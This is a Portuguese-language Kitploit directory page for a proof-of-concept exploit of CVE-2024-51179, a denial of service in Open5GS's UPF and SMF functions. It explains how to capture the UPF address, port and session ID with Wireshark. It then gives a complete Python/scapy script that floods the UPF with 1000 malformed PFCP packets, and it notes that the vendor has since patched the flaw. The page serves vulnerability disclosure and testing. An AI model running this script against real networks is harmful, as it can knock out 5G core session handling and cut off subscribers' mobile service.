Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-51179 — Exploit de prova de conceito para CVE-2024-51179: inundação de pacotes PFCP manipulados causa negação de serviço no Open5GS UPF/SMF, interrompendo o estabelecimento de sessões PDU do núcleo 5G. | Kitploit
Ferramentas/GitHubGitHub/lakshmirnr/cve-2024-51179
Sniffing e Análise de PacotesAnálise de VulnerabilidadesExploraçãoSegurança de RedeTestes de Penetração
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

Exploit de prova de conceito para CVE-2024-51179: inundação de pacotes PFCP manipulados causa negação de serviço no Open5GS UPF/SMF, interrompendo o estabelecimento de sessões PDU do núcleo 5G.

Ver Repositório
43há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-51179 : Inundação de pacotes maliciosos de um Atacante pode derrubar UPF/SMF no Open5gs

Descrição da Vulnerabilidade

Descrição: Um problema no Open5GS v.2.7.1 permite que um atacante remoto cause uma negação de serviço por meio das Virtualizações de Funções de Rede (NFVs), como a Função de Plano de Usuário (UPF) e a Função de Gerenciamento de Sessão (SMF). O processo de estabelecimento de sessão da Unidade de Dados de Pacote (PDU) é impactado pelas quedas que ocorrem nas NFVs.

Um atacante, após obter o endereço IP da Função de Plano de Usuário (UPF), a porta PFCP e o SEID (Identificador de Extremidade de Sessão), pode criar e inundar pacotes PFCP (Protocolo de Controle de Encaminhamento de Pacotes) maliciosos para a UPF. Os parâmetros necessários podem ser interceptados usando ferramentas como Wireshark se o atacante tiver acesso ao tráfego do plano de usuário.

Tipo de Vulnerabilidade: Negação de Serviço

Impacto: Ao enviar o pacote malicioso, a UPF torna-se errônea, afetando o estabelecimento de novas sessões PDU. Além disso, a SMF (Função de Gerenciamento de Sessão) é impactada devido à inundação de pacotes PFCP maliciosos, interrompendo as funções principais.

PASSOS PARA REPRODUZIR O ATAQUE

Pré-condições: A rede 5G foi configurada usando Open5GS como rede principal e UERANSIM como ferramenta de emulação para o gNB (Next Generation NodeB) e UE (User Equipment).

PASSOS PARA EXECUTAR O ATAQUE

  1. Certifique-se de que o Open5GS está em execução verificando o status dos componentes do Open5GS (AMF, SMF, UPF, etc.)
  • Verifique o estabelecimento da sessão PDU usando o UERANSIM para iniciar uma sessão PDU e capturando o tráfego com o Wireshark.
  • Abra o Wireshark e selecione a interface de rede usada para o plano de usuário.
  • Comece a capturar tráfego com um filtro de exibição para pacotes PFCP:
  • Inicie uma sessão PDU a partir do UERANSIM para garantir que os pacotes PFCP estejam visíveis na captura.
  • No Wireshark, encontre e anote o endereço IP da UPF, a porta da UPF (geralmente 8805) e o SEID dos pacotes PFCP capturados.
  • Use o seguinte script para inundar os pacotes para a UPF.
  • root@kitploit:~
    #!/usr/bin/env python3
    from scapy.all import *
    from scapy.layers.inet import IP, UDP
    import socket
    import struct
    UPF_IP = "192.168.56.113"  
    UPF_PORT = 8805  
    message_type = 53  
    sequence_number = 1
    seid = 0x0010000000000000  
    version = 1 
    spare = 0
    mp = 0  
    s_flag = 1  
    byte0 = (version << 5) | (s_flag << 2)
    length = 0  
    seid_bytes = seid.to_bytes(8, 'big')
    sequence_number_bytes = sequence_number.to_bytes(3, 'big')
    pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
    ie_type = 150  
    ie_length = 13
    flags = 0x01
    fseid_seid = seid.to_bytes(8, 'big')
    fseid_ipv4 = socket.inet_aton(UPF_IP)
    fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
    pfcp_message = pfcp_header + fseid_ie
    pfcp_message_length = len(pfcp_message) - 4  
    pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
    pfcp_message = pfcp_header_with_length + fseid_ie
    packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
    packet[UDP].chksum = None
    print(f"Packet Summary: {packet.summary()}")
    hexdump(packet)
    for _ in range(1000):  
        send(packet)
    print("Sent 1000 malicious PFCP packets to UPF.")
    
    1. Monitore o impacto na rede usando o Wireshark ou verifique os logs para observar quaisquer anomalias ou falhas no processamento de pacotes.
    2. Tente estabelecer novas sessões PDU a partir do UERANSIM para ver se o estabelecimento falha devido à inundação.

    STATUS DO SMF APÓS O ATAQUE

    smfcurrent

    CAPTURA DO WIRESHARK DO PACOTE MALICIOSO

    377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

    STATUS ATUAL

    A vulnerabilidade, documentada como Issue #3497 na página do Open5GS no GitHub (https://github.com/open5gs/open5gs/issues/3497), foi reportada ao fornecedor do Open5GS, que identificou a causa raiz como um problema de desalocação de memória levando a quedas do sistema. Um patch foi aplicado desde então, e o código foi atualizado para resolver o problema. Você pode revisar o código atualizado aqui.

    https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

    A CVE-2024-51179 foi publicada.

    CRÉDITOS

    UNIVERSIDADE DIGITAL KERALA, CENTRO PARA DESENVOLVIMENTO DE TELEMÁTICA (C-DOT)

    Baixar ferramenta